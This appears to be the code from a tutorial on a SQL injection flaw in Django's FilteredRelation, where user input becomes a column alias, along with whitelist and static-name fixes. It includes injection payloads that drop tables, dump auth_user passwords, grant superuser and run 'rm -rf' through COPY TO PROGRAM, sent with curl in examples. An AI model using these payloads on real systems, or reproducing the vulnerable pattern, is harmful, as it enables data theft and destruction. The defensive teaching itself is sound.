# Instead of raw SQL: SELECT * FROM books WHERE author_id = 1
books = Book.objects.filter(author_id=1)

# Join books with authors, but only active authors
Book.objects.annotate(
    active_author=FilteredRelation('author', condition=Q(author__is_active=True))
).select_related('active_author')

# User wants to search by different criteria
search_field = request.POST.get('field_name')  # User input: "title", "author", etc.

# Dynamic field creation using **kwargs
queryset.annotate(**{
    search_field: FilteredRelation('some_relation')
})

# This is what vulnerable applications do:
user_input = request.POST.get('search_field')  # Attacker controls this

# The vulnerability is here - user input becomes SQL column alias
queryset.annotate(**{
    user_input: FilteredRelation("author")  # ❌ DANGEROUS
})

user_input = "malicious_field'; DROP TABLE users; --"

SELECT ... 
FROM book 
LEFT OUTER JOIN author AS malicious_field'; DROP TABLE users; -- ON ...

# views.py - Common vulnerable pattern
def search_books(request):
    search_field = request.POST.get('search_by')  # "author", "title", "category"
    search_value = request.POST.get('search_value')
    
    # Developer thinks this is safe - IT'S NOT!
    books = Book.objects.annotate(**{
        f"filtered_{search_field}": FilteredRelation(
            search_field, 
            condition=Q(**{f"{search_field}__name__icontains": search_value})
        )
    })
    
    return JsonResponse({'books': list(books.values())})

# Attacker sends this POST request:
curl -X POST http://example.com/search/ \
  -d "search_by=author'; DROP TABLE auth_user; --" \
  -d "search_value=anything"

# NEVER DO THIS - Direct user input as dictionary key
user_field = request.POST.get('field')
queryset.annotate(**{
    user_field: FilteredRelation('relation')  # SQL Injection!
})

# SAFE - Use whitelist validation
ALLOWED_FIELDS = ['author', 'category', 'publisher']

user_field = request.POST.get('field')
if user_field not in ALLOWED_FIELDS:
    raise ValidationError("Invalid field")

queryset.annotate(**{
    user_field: FilteredRelation('relation')  # Now safe
})

# SAFE - Use static field names
search_type = request.POST.get('search_type')
if search_type == 'author':
    queryset.annotate(filtered_author=FilteredRelation('author'))
elif search_type == 'category':
    queryset.annotate(filtered_category=FilteredRelation('category'))

-- Extract sensitive data
'; SELECT username, password FROM auth_user; --

-- Modify data
'; UPDATE auth_user SET is_superuser = true WHERE id = 1; --

-- Execute system commands (PostgreSQL with appropriate extensions)
'; COPY (SELECT '') TO PROGRAM 'rm -rf /tmp/*'; --

ALLOWED_FIELDS = ['author', 'title', 'category', 'publisher']

def safe_annotate(queryset, field_name):
    if field_name not in ALLOWED_FIELDS:
        raise ValidationError(f"Field '{field_name}' not allowed")
    
    return queryset.annotate(**{
        field_name: FilteredRelation('relation')
    })

# Instead of dynamic field names, use conditional logic
def get_filtered_queryset(search_type):
    if search_type == 'author':
        return queryset.annotate(result=FilteredRelation('author'))
    elif search_type == 'category':
        return queryset.annotate(result=FilteredRelation('category'))
    else:
        raise ValidationError("Invalid search type")

# Run the vulnerable Django application
docker-compose up

# Test the vulnerability
curl -X POST http://localhost:8000/api/vulnerable-search/ \
  -H "Content-Type: application/json" \
  -d '{"search_field": "malicious\"; DROP TABLE IF EXISTS test; --"}'